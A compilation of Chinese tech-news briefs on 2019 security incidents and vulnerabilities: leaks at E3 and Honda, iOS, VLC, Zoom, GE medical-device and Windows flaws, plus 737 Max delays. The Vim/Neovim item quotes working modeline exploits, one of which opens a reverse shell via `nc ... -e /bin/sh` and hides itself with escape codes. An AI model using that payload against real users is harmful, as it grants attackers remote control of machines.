在参与报道了全球最大的视频游戏大会E3之后，由于组织方系统存在的安全漏洞导致大量记者的个人联系信息被公开曝光。在报告中称目前已经有超过2000人受到影响，除了各大新闻机构和媒体的记者、编辑之外，还有YouTube和Twitch等视频网站上的网红主播，以及高盛、IMDb和其他公司的工作人员。 本周六E3游戏展的组织方Entertainment Software Association（简称ESA）向这些受影响的记者发出了电子邮件警告，而这些记者都通过官方渠道注册参与了今年6月在洛杉矶会议中心举办的游戏大展，并获得了新闻报道证书。 在发送给记者的电子邮件中写道：“我们为ESA会员和参展商在一个密码保护的参展商网站上提供了媒体列表，方便用户联系媒体进行报道，以及更好地传播参展方的展示内容。而在过去20多年来一直没有问题。” 在发现这个问题之后，ESA在本周五已经发布告示称参展商网站存在缺陷，导致记者和媒体名单公布于众，随后ESA立即关闭了这个网站。 YouTuber Sophia Narwitz早些时候报道了这个漏洞并注意到她已经联系了ESA，它说可以通过点击公共E3网站页面上标有“注册媒体列表”的链接来下载一份包含联系人列表的电子表格。 她表示在这份名单中还包括了私人的住址信息，任何以新闻或内容创作者身份出席E3的人都可能受到影响。 ESA表示对此事件感到遗憾，并已采取措施确保不再发生这种情况。   （稿源：cnBeta，封面源自网络。）

讯 8月1日下午消息，据台湾地区科技媒体报道，安全研究人员发现，日本汽车大厂本田汽车（Honda Motor）一个包含全球所有员工信息的数据库，由于未设密码很可能会被人一览无余。在接到通报之后，本田已经修补了相关漏洞。 7月初，安全研究人员Justin Paine在网络上发现本田汽车一个未设密码的ElasticSearch数据库，似乎是本田汽车在全球所有员工电脑的库存管理数据库。这个数据库今年3月中旬才上线，但至今累积的数据量高达40GB，包含约1.34亿份文件。 经过检查，这批陷遭暴露的数据包括几乎所有本田电脑相关信息。其中一个表格包含员工电子邮件、部门名称、本田机器主机名称、MAC位置、内网IP、操作系统版本，另一个表格则有员工姓名、部门、员工编号、帐号、手机号码及最近登录时间。研究人员甚至发现本田CEO的完整电子邮件、全名、MAC位置、Windows操作系统版本、IP及设备类型。 另外，本田公司的电脑用了哪家终端安全软件，哪些机器已安装、哪些有更新版本及哪些没有没有更新版本也一目了然。为避免成为黑客的下手目标，研究人员并未提及厂商名称。 研究人员通知本田后，后者已于当天封闭漏洞。本田表示，经过追查系统日志，未发现有任何遭到第三方人士下载的迹象，目前也没有数据外泄的证据。本田表示已做好相关强化，确保未来不会重蹈覆辙。   （稿源：，稿件以及封面源自网络。）

讯 北京时间7月30日晚间消息，据美国科技媒体ZDNet报道，谷歌旗下安全团队Project Zero的两名成员日前公布了影响iOS系统的6个“无交互”安全漏洞中其中5个的详细信息和演示用攻击代码。 据悉，这6个“无交互”安全漏洞可通过iMessage客户端发动攻击。上周，即7月22日，苹果发布了iOS 12.4版，修复了这6个安全漏洞。但是，其中一个“无交互”漏洞的细节此次并未公布，是因为iOS 12.4补丁还没有完全解决问题。 据谷歌研究人员称，这6个安全漏洞中的4个可以导致在远程iOS设备上执行恶意代码，而无需用户交互。攻击者需要做的只是向受害者的手机发送一条“错误格式”的消息，一旦用户打开并查看接收到的项目，恶意代码就会被执行。而第5个和第6个漏洞允许攻击者从设备内存中泄漏数据，并从远程设备读取文件，同样无需用户干预。 根据漏洞交易平台Zerodium的价格表显示，类似于谷歌此次公布的这些漏洞，每条的价格可能超过100万美元。可以毫不夸张地说，谷歌此次公开的这些漏洞信息的价值远超500万美元，很可能达到1000万美元。 在下周于拉斯维加斯举行的“黑帽”（Black Hat）安全会议上，谷歌安全研究人员将举行一场关于远程和无交互iPhone漏洞的演示。 谷歌Project Zero安全团队成立于2014年7月，专为第三方软件寻找漏洞。他们并不会利用这些漏洞，只会对第三方软件开发商发出警告，以避免被恶意利用。   （稿源：，稿件以及封面源自网络。）  

根据 ZDNet 报道，在最新版本的 VLC 媒体播放器中发现了一个严重的漏洞，可能支持远程代码执行和其他恶意操作，而且目前没有修补程序。 非营利视频局域网的 VLC 播放器是一款流行的软件，用于播放和转换各种音频和视频文件。该软件可适用 Windows、Linux、MacOSX、Unix、IOS 和 Android 系统，事件被报道后，这款开源媒体播放器现在已经成为德国计算机应急小组（CERT-Bund）最近发布的安全咨询的焦点。 CERT-Bund 称，在 CVSS 3.0 级别上，这个漏洞的打分为 9.8/10，严重程度可想而知。它已被命名为为 CVE-2019-13615，此安全漏洞不需要权限升级或用户交互即可利用。 具体来说，当从 mkv：open in Module/demux/mkv/mkv.cpp 调用模块 /demux/mkv/demux.cpp 协议时，VLC 的 mkv：demux_sys_t：FreeUnuse() 中发现基于堆的缓冲区超读错误。ESET 表示： 远程匿名攻击者可以利用 vlc 中的漏洞执行任意代码、造成拒绝服务条件、提取信息或操作文件 虽然已经知道该漏洞是存在 Windows、Linux 和 Unix 机器上的最新版本的 VLC 中，但并不排除会影响过去版本的可能性。 德国出版物 Heise Online 报告说，只要使用一个特别的 .mp4 文件就有可能触发该漏洞，但研究人员和 CERT-Bund 尚未证实这一点。 VLC 正在快速修复，据两天前发布更新的一名开发人员称，该漏洞已被授予修补程序的最高优先级，修补程序已完成 60% 。 虽然没有发布补丁的具体日期，不过幸运的是，目前还没有发现有人利用这一漏洞。   （稿源：开源中国，封面源自网络。）

德国网络安全机构CERT-Bund负责组织该国计算机安全相关紧急状况的响应，他们最近发现了流行VLC媒体播放器中的一个关键缺陷。众所周知，VLC是一个跨平台兼容的媒体播放器，因此拥有超过30亿的令人印象深刻的总下载量，这使得这个漏洞更加危险。 CERT-Bund将该漏洞（正式记录为CVE-2019-13615）归类为“高级”（4级）漏洞，这是该机构第二高的风险评估级别。 该漏洞确实非常危险，它允许攻击者不仅可以远程执行代码，还可能导致未经授权的信息泄露，未经授权的文件修改和服务中断。 VLC目前正在创建修复程序，但是，故障工单显示其修复工作仅完成了60％。 CERT-Bund表示，目前没有发现利用这种漏洞的攻击者已知案例，但暂避使用VLC可能是一个好主意，直到漏洞被修补。   （稿源：cnBeta，封面源自网络。）

今天苹果向 The Verge 在内的多家媒体发出通知，表示已经向 Mac 设备发送静默安全更新，以删除 RingCentral 和 Zhumu 自动安装的软件。这些视频会议应用程序都使用了 Zoom 的技术，由于它们本质上都是白标签（White Labels），因此它们同样存在 Zoom 的安全漏洞。 具体来说就是它们可以安装辅助应用，在没有用户干预的情况下打开你的网络摄像头。即使卸载这些应用程序啊也不会删除这些辅助Web服务器，这意味着许多用户无法获得软件供应商的更新来解决问题。而解决这个问题的最佳方法就是苹果的介入，苹果计划为Zoom的所有合作伙伴解决这个问题。 Zoom发言人Priscilla McCarthy告诉TechCrunch：“我们很高兴与Apple合作测试此更新。我们希望今天解决Web服务器问题。我们感谢用户的耐心，因为我们会继续努力解决他们的问题。 本周早些时候，安全研究员Jonathan Leitschuh公开披露了在Mac电脑上Zoom视频会议应用中出现的一个严重零日漏洞。他已经证明，任何网站都可以在安装了Zoom应用的Mac电脑上打开视频通话。 这在一定程度上是可行的，因为Zoom应用在Mac电脑上安装了一个网络服务器用于接收普通浏览器不会接收的请求。事实上，即便卸载了Zoom, 网络服务器仍会持续存在，并且可以在不需要用户干预的情况下重新安装Zoom。   （稿源：cnBeta，封面源自网络。）

据外媒报道，安全研究人员发现，美国医院的麻醉机和呼吸机所使用的网络协议存在一个漏洞，如果利用该协议，这些医疗设备可能会遭到恶意篡改。来自医疗安全公司CyberMDX的研究人员表示，通用电气(GE)Aestiva和GE Aespire设备中使用的协议可以在连接到医院网络终端服务器时发送命令。 资料图 研究人员指出，这些指令可以关闭警报、改变记录，另外还可以被滥用来改变呼吸器和麻醉机中吸入气体的成分。 美国国土安全局在周二发布的一份报告称这些漏洞只需要低水平的技术就能遭到利用。 “这些设备使用的是一种专有协议，”CyberMDX研究主管Elad Luz说道，“计算这些命令非常简单。” Luz指出，其中一个命令会迫使设备使用仍存在于设备中的较老版协议，更糟的是，这些命令都不需要任何身份验证。 不过如果设备没有连接到网络那么就会安全得多。 据悉，CyberMDX则是在2018年10月底向GM披露了这些漏洞。后者表示，Aestiva和Aespire的7100和7900版在受影响范围内。据这家公司发言人表示，这一潜在的问题没有带来临床风险或直接的患者风险，麻醉设备本身也不存在脆弱性。不过这家公司拒绝透露受影响设备的具体数量，而2009年以后销售的系统则不再具备修改气体成分的能力。   （稿源：cnBeta，封面源自网络。）

外媒报道称，尽管美国联邦航空管理局（FAA）希望波音 737 Max 能够重拾客户的信任，但在其飞控系统曝出新的缺陷之后，西南与联合航空公司已经延长了该机的停飞时间。按照原计划，只要 737 Max 获得了 FAA 的重新认证，西南航空会从 9 月 2 日起重新执飞。但是现在，该公司已经把重启时间推迟到了 10 月 1 日之后。如此一来，西南航空每日 4000 趟的航班，将有大约 150 趟会受到影响。 波音 737 Max（图自：Boeing 官网，via TheVerge） 与此同时，美国联合航空公司原计划在 8 月 3 日重新执飞 737 Max 航班，但现在已被延长到至少 9 月 3 日。其在一份声明中称，7 月份每日有 40~45 趟航班受到影响，8 月份每日有 60 趟航班受到影响。 本月早些时候，美国航空公司将 737 Max 的停飞时间推迟到了至少 9 月 3 日之后。不过在 FAA 曝光了波音的最新缺陷之后，该公司并没有再次推迟这一时间表。 其发言人在一封电子邮件中表示：“我司团队将继续与 FAA、波音和飞行员协会合作，目前暂无额外的信息可与大家分享”。 今年 3 月，737 Max 陆续在全球被停飞，其中两架飞机在五个月内接连坠毁，共造成了 364 人的死亡。事后调查表明，两起事故都与 737 Max 上安装的机动特性增强系统（MCAS）的缺陷有关。 为提升燃油效率，波音为 737 Max 配备了更大的发动机，这对于抢占市场份额非常重要。然而 737 Max 的安装方式与旧款 737 机型有较大差别，使得飞机在某些情况下易发生失速。 MCAS 原本有助于缓解该问题，其被设计用于识别飞机的机头倾角（数据源自迎角创拿起）。如果抬得过高，系统会控制飞机自动俯冲以抵消失速影响。 然而现实是这会造成未经充分培训的飞行员的应对难度，波音又为了省钱（数百万美元）而省略了这一步。现在的问题是，即便已经对 MCAS 实施了软件修复，但波音还需数月时间来测试。 更糟糕的是，据彭博社报道，FAA 发现了 737 Max 计算机系统的另一个潜在缺陷，或导致飞行员很难通过模拟器的测试来掌握恢复正常飞行的方法。 FAA 要求波音解决这个问题，后者也迅速承认了这一缺陷。一名波音官员在周四接受路透社采访时称，预计软件修复要等到 9 月份才能完成，意味着各大航空公司的 737 Max 可能要等到 10 月才能恢复运营。   （稿源：cnBeta，封面源自网络。）

安全研究人员发现 Vim 与 Neovim 中存在一个任意执行漏洞，允许黑客在用户打开恶意文本文件时控制计算机。漏洞影响 Vim 8.1.1365 与 Neovim 0.3.6 之前的所有版本。 该漏洞存在于编辑器的 modeline（模式行）功能，此功能允许用户在文本文件的开头或结尾设置窗口尺寸和其它自定义选项，它在一个被操作系统封锁的沙箱中运行，并且可用命令也被限制，但是研究人员 Arminius 发现了绕过该安全保护的方法。 目前漏洞已经被编号为 CVE-2019-12735，Arminius 也释出了两个概念验证。 第一个是直接利用该漏洞使系统执行`uname -a`命令： :!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=" 另一个利用方式更加深入，一旦用户打开文件就自动启动反向 shell。为了隐藏攻击，文件将在打开时立即重写。此外，当使用 cat 输出内容时，攻击还使用终端转义序列隐藏 modeline： \x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n 目前补丁也已经释出： Vim patch 8.1.1365 Neovim patch (released in v0.3.6) 更具体的细节见： https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md.   （稿源：开源中国，封面源自网络。）

安全研究员 Tavis Ormandy‏ 是谷歌 “Project Zero” 团队的一员，负责寻找 0day 漏洞。他公开了一个可利用的 Windows 漏洞，目前，微软仍处于修复过程中。 Tavis Ormandy 发推文说他已经发现了 Windows 核心加密库的安全问题，“微软承诺在 90 天内修复它，结果没有”。于是在第 91 天，Ormandy 选择了公开这个漏洞。 该漏洞实际上是 SymCrypt 中的一个错误，SymCrypt 是负责在 Windows 10 中实现非对称加密算法和在 Windows 8 中实现对称加密算法的核心加密库。Ormandy 发现，通过使用格式错误的数字证书，他可以强迫 SymCrypt 计算进入无限循环。这将有效地对 Windows 服务器执行拒绝服务（DoS）攻击，例如，运行使用 VPN 或 Microsoft Exchange Server 进行电子邮件和日历时所需的 IPsec 协议的服务。 Ormandy 还指出，“许多处理不受信任内容的软件（如防病毒软件）会在不受信任的数据上调用这些例程，这将导致它们陷入僵局。” 不过，他还是将其评为低严重性漏洞，同时补充说，该漏洞可以让人相对轻松地拆除整个 Windows 机群，因此值得注意。 Ormandy 发布的公告提供了漏洞的详细信息，以及可能导致拒绝服务的格式错误的证书示例。 如前所述，Project Zero 有 90 天的披露截止日期。Ormandy 于 3 月 13 日首次报告此漏洞，然后在 3 月 26 日，微软确认将发布安全公告，并在 6 月 11 日的 Patch Tuesday 中对此进行修复。Ormandy 认为，“这是 91 天，但在延长期内，所以它是可以接受的。” 6 月 11 日，微软安全响应中心（MSRC）表示“该修补程序今天不会发布，并且由于测试中发现问题，在 7 月发布之前也不会修补好”，于是 Ormandy 公开了这个漏洞。 公开的漏洞地址：https://bugs.chromium.org/p/project-zero/issues/detail?id=1804 消息来源：Forbes   （稿源：开源中国，封面源自网络。）